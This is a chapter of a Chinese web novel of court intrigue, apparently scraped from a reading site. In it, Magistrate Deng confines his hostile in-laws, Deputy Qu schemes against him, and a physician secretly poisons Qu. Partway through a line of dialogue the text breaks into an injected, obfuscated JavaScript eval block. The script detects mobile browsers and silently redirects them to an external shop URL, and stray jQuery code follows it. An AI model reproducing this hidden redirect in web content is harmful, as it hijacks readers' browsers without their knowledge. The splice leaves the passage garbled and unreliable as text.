邓县令恍惚像看到了儿时的邓潋。
他高升为县令，欲举家迁至迷津城，可邓潋却说什么也要留在元宝村老宅，不肯随他赴任。
他一直以为女儿是在怪自己，怪自己没能护住她母亲。
邓潋和文康似当初的邓县令夫妇，跪在长辈面前，情比坚金。
屋内传来一阵打砸声，将邓县令的思绪拉回。
宋夫人气极了，把目之所及的物件全都摔在地，口中高喊道：“私定终身，大逆不道，违背礼教，败坏门风！”
胡姨娘想进屋去劝，被邓县令拦住，他对贺文康说：“你的心意我们已知晓，但今日不合时宜，改日再商议。”
“晚辈有一求，邓县令可否答应晚辈，绝不轻易将二娘许给他人？”
贺家少爷出现的时机太过巧合，邓县令怎会不知是邓潋暗中通信。
他细细盯着贺文康的眼，那双眼深邃但易懂，全是对邓潋的爱慕与相护之情。
邓县令从不觉得有谁能配得上邓潋，配得上他捧在掌心的明珠，他唯恐明珠失色，可如今来看，贺文康就像珠子外镶嵌的金箔，不是雪中送炭，只是锦上添花。
明珠仍能大放光彩。
“我答应你，还请回吧。”
邓县令示意邓潋相送，自己则关上房门，只吩咐郭鸿运搬来椅子，不紧不慢坐下了。
他看着一屋子狼藉，看着满脸泪痕的宋夫人。
“我当你是亲姨姐，纵使宋廷天资不够，我也尽心尽力支持他考取功名。他之死，我亦痛心，但我邓家不是你想砸就能砸，想毁就能毁了的。”
胡姨娘和柳暮云在门外探听，大气都不敢出。
“你以为二娘又是什么好娘子？我前脚才提亲，后脚她便寻了外人来求娶，这是恶心我！我们宋家在庆州好歹也是大族，清贵世家，若不是我这妹妹嫁了你这寒门，你们邓家的门槛我都嫌低！”
邓县令的手在袖中紧紧攥住，他不擅长处理后院纷争，但为官多年，也料理过一些家宅官司。
况且他还是邓家的主心骨，是邓潋的父亲，胡姨娘的丈夫，他必须得撑起这个家，护住这个家。
“死者为大，我本不该多说，可宋廷在迷津城，可有好好读过书！只要他勤勉，自能成事，可他花天酒地，狎妓纵名，坏的难道不是我邓家的名声！”
宋夫人闻言眼瞪得血红，作势就要冲上来撞死了之，宋乌死死抱着他母亲，不敢撒手。
从此刻起，邓县令就当宋夫人是堂下待审的民妇，什么三亲六眷，什么手足亲情，他通通都不要了。
“你要记住，我们邓家不欠你们的，胡姨娘也不欠你的！若不是为了你的婚事，她不会来给我做妾，你不知姊妹艰辛，还常常拿捏她作践她！”
宋夫人死不悔改，她哪里是能认错的主，除了她这个正妻，丈夫还有无数妾室外室，她若罢休，早被碾作尘土。
“我要去告你，我一定要告你，我要让全城百姓瞧瞧他们的父母官是什么嘴脸！”
邓县令不会给她这个机会。
“来人！”
小厮们应声涌入屋，将那二人团团围住。
“关到厢房去，没我的命令不准放人！”
说来惭愧，邓县令温和恭谦了半辈子，却从柳暮云、邓潋等小辈身上看到了果决勇气，也开始认可了一部分曲县尉所坚持的“刑杀治乱”。
犯恶者很少能真正反省。
小厮压着宋家母子出来，宋夫人干嚎，发髻蓬乱。她指着胡姨娘还想咒骂些什么，被小厮用帕子塞了嘴。
胡姨娘揽住邓县令，抚上他胸口想替他顺顺气，却被他握住手。夫妻之间无需多言，只一个眼神便能明白对方。
“二娘，贺家这门婚事你可想好了？”
贺家是商贾，胜在人丁简单，富足无忧，只是社会地位低，名声不太好。
但邓县令不在乎，他只要邓潋安乐。
“我愿意。若能以此了结宋家这件事，那便再好不过。”
邓潋的眼泪牢牢锁在眼尾，久久不肯落，然后她拉着柳暮云和郭鸿运一起跪下。
“姨娘也莫担心，以后我们三人就是你的亲子女，会为你养老送终的。”
胡姨娘还没从方才宋夫人的羞辱里回过神，如今看着外姓的竟比同血脉的家人还要亲昵，顿时忍不住泪，团了帕子便哭。
“老爷，是我给您添麻烦了……”
自此邓家上下一心，能克万难。
几人回到堂里，柳暮云刚好将孟摊主的事一并说了。
邓县令细细读着诉状，忽而感慨。
“老孟一家，当真苦楚。”
“孟老板亡妻也是识过字的，留下的方册写明疑似溺水奴仆的名单，不过有的估计是道听途说，并未见到溺毙实景，得挖出所有骸骨后由仵作一一查验。”
柳暮云呈上那块从莲花池里摸出来的白骨，腥味已散得差不多。
“曲家真是作孽呀，也不怕恶鬼报复！”胡姨娘惊吓，“曲县尉这官，属实做到头了。”
“你可有计划？”邓县令问道。
“自然有，我请了朋友相助，到时老爷只需接下孟老板诉状，按法查办便可。现下更应该忧心的，是宋夫人这事。”
柳暮云老老实实回答。
邓潋一看便知，“阿闲快别卖关子，你定有主意了吧？”
她扫了圈眼前人，笑而不语。
-
今夜月光不明，宋夫人在厢房唉声叹气。
“还未送饭来吗？”
宋乌摇摇头，只默不作声给母亲倒茶。
宋夫人将茶杯重重搁到桌上。
“敢如此欺负我们母子，日后出去，我定要告得他邓家家破人亡！还有你姨母这个黑心肝的，不过嫁到邓家几年，就全不顾骨肉之情……”
宋乌与宋廷不同，没那么多贪恋权势的野心，向来很听母亲的话。
他是宋夫人最小的儿子，只要乖巧听话，在宋家无烟的战场里，自有母亲为他冲锋陷阵。
“乌儿，我看门外只是上了锁，没人看守。待会儿若侍女来送饭，你我合力将她们打晕，你趁机逃出去。递信铺我预存了银两，你到后叫他们马上飞鸽传书去庆州！”
自他们入城，便打听好城中情形，得知城防戒严，每日宵禁。
但迷津城不过是县署，比不得庆州州府繁华，街道也并不复杂。
“我儿，我们母子的性命就全靠你一个，切记不要去县衙，到底是官官相护，于我们不利，一切等你父亲处置！”
宋乌茫然地点头，如今要轮到他在前头替母亲上阵时，他又极不中用了。
没过多久，邓家侍女果然来开门，饭食与之前大相径庭，只是两碗油水颇少的素面。宋夫人连看都懒得看，嫌弃地背过脸，给躲在门后的宋乌示意。
他下手没个轻重，抬起花瓶就朝侍女后颈砸去，也不管人有事无事，见她们双双栽倒，宋乌便趁着月，快步往宅子后门行。
回廊深处，柳暮云拍了拍沈愫，那人明白，立刻跟上前。
宋乌拐了几个弯就到了街上，他停下来喘气，擦着脑门的汗。他从未这么狼狈过，一时迷了方向，然后瞧见早等在前方的沈愫。
“你，你是人是鬼？”
沈愫手中短刀锃亮，寒光凛凛。立在空无一人的大街上，吓得宋乌腿脚发软。
“我问你话呢，若是人，赶紧让开，若是鬼，便快快投胎……”
宋乌牙齿都在打颤，还强撑着自壮声势，而沈愫全不理睬，只扬起刀尖。一刀下去，未伤寸肤，唯有宋乌系于腰带的佩子掉了下来。
“还敢跑！”
宋乌哪管得了那许多，逃命似的三步两跌朝前奔。
沈愫也不穷追，倒像是指路，若宋乌偏离了方向，他就追得紧一点。
直到宋乌如无头苍蝇般撞上一队巡逻的捕快，整个人瘫倒怎么也爬不起来。
捕快拎起他的衣领，把他脑袋凑到火把前，质问道：“什么人！暮鼓之后，不可通行！”
“官爷救命啊，有人要杀我！”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17782068|207759||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>宋乌头也不敢回，口齿不清地哀求着。
“哪里有人？”
捕快看了看宋乌身后，酒铺的青幡晃动如鬼影。
“你胡说什么，家家闭户不出，这大街上违令乱窜的只有你！”
捕快作势要骂，却听宋乌大叫道：“官爷我说的都是真的，是邓家，是邓县令，邓县令要杀我啊……”
方才只当他是个疯子，可此话一出，捕快们交换着眼神，直接将他押于兵器下。
“污蔑朝廷命官，我看你是不想活了，带回衙门审审……”
沈愫栖于屋瓦暗处，他看得分明，其中一个捕快离开队伍，向曲府行去。
他唇边勾起点笑，暗赞柳暮云料事如神。
而柳暮云在回廊前抬头望着那轮晦暗弯月，就像在同月下的沈愫对视。
-
县衙牢狱中，宋乌被绑到立枷前，他闻着四面八方扩散的血腥味，已六神无主。
曲凌霄本是在家抱抱刚添的大胖小子，听说青天老爷一般的邓县令居然被告“行凶杀人”，顿觉新鲜。
他速更衣，到刑房阻止了正欲上刑的衙役。
“莫急莫急，问清楚也不迟。”
当值巡街的捕快跟过来，递上宋乌的路引。曲凌霄随意一翻，瞧了瞧沿路盖过的官府大印，目光落在“出行事由”上。
“你与邓家那个宋举人是何关系，为何会状告邓县令？”
他慢悠悠问，还贴心地叫衙役给宋乌松绑。宋乌马上放下戒备，感激涕零，将宋夫人叮嘱抛之脑后。
“官爷明鉴，我与母亲本为投奔邓家，没曾想邓县令目无王法，竟将我们母子囚禁家中，我好不容易逃出来，却被邓家派来的人追杀，违了宵禁……”
“若证实是诬告，是要挨板子的。”曲凌霄屈指轻敲刑架，隐晦提点，“空口无凭可不行，得有证据才保险。”
宋乌还以为自己碰上的是贤官，能秉公执法，便跪下磕头，答道：“我母亲还困于邓家，官爷带人去搜便是！”
曲凌霄险些就要笑出声。
早些时日他想偷运兵器进迷津城，直接用谋反罪名屠戮邓府全族，却被邓县令以“百姓安危”戒严城防，断了这条路。
城防军一向保持中立，不受官员私令调遣，他正愁抓不住邓县令错处。
这就白送上了门。
“我家二子果然是福星降世，促我官运亨通……”曲凌霄暗暗啧道，又摆出和善笑意，“这位宋公子是重要证人，你们得礼待，去找医官给他看看手上的伤。”
那是宋乌逃跑时留下的，挫在石板路上泛起血丝。被人提醒了，他才觉出痛，忙皱着眉谢恩。
李饶随衙役进门，脱下药箱为宋乌看诊。他眼下显疲惫之色，神情却难掩兴奋，眸子乌亮。
曲凌霄随口一问：“几夜没睡了？”
“劳县尉挂心，善台人多事也多。”
“我早说了不可收容流民，一来不好管理，二来灾病也多，但县令就是不听。”
李饶含糊道：“县尉说的是，暑热高发，易引疫病，这牢狱也得时时清扫通风。”
曲凌霄忽觉浑身不舒服，忙招呼李饶给他把脉，嘴上骂着：“通牢还好，死牢却没辙，你们若对洒扫牢房毫不上心，就去守死牢！”
衙役们赶忙跪下认错，谁也不敢招惹这尊大佛。
“县尉不可动气。”
李饶指间藏有下毒用的细银针，不动声色扎进曲凌霄皮肤隐蔽处。
“哎呦。”他叫了声，又骂，“你们瞧瞧，这蛇鼠虫蚁的都聚到牢里来！”
“大人先回吧。”李饶道，言语间尽是关切，“再大的事也不差这几个时辰，明日议也无妨。”
曲凌霄顺坡下驴，只觉手臂有些麻，边扶着椅子起身边吩咐众衙役。
“人你们照顾好了，嘴上都给我留个把门的，千万不能泄露消息。”
李饶望着曲凌霄背影，脸色一下变冷。
大厦将倾，独木难支，这迷津城马上得出一桩惊天地的丑闻。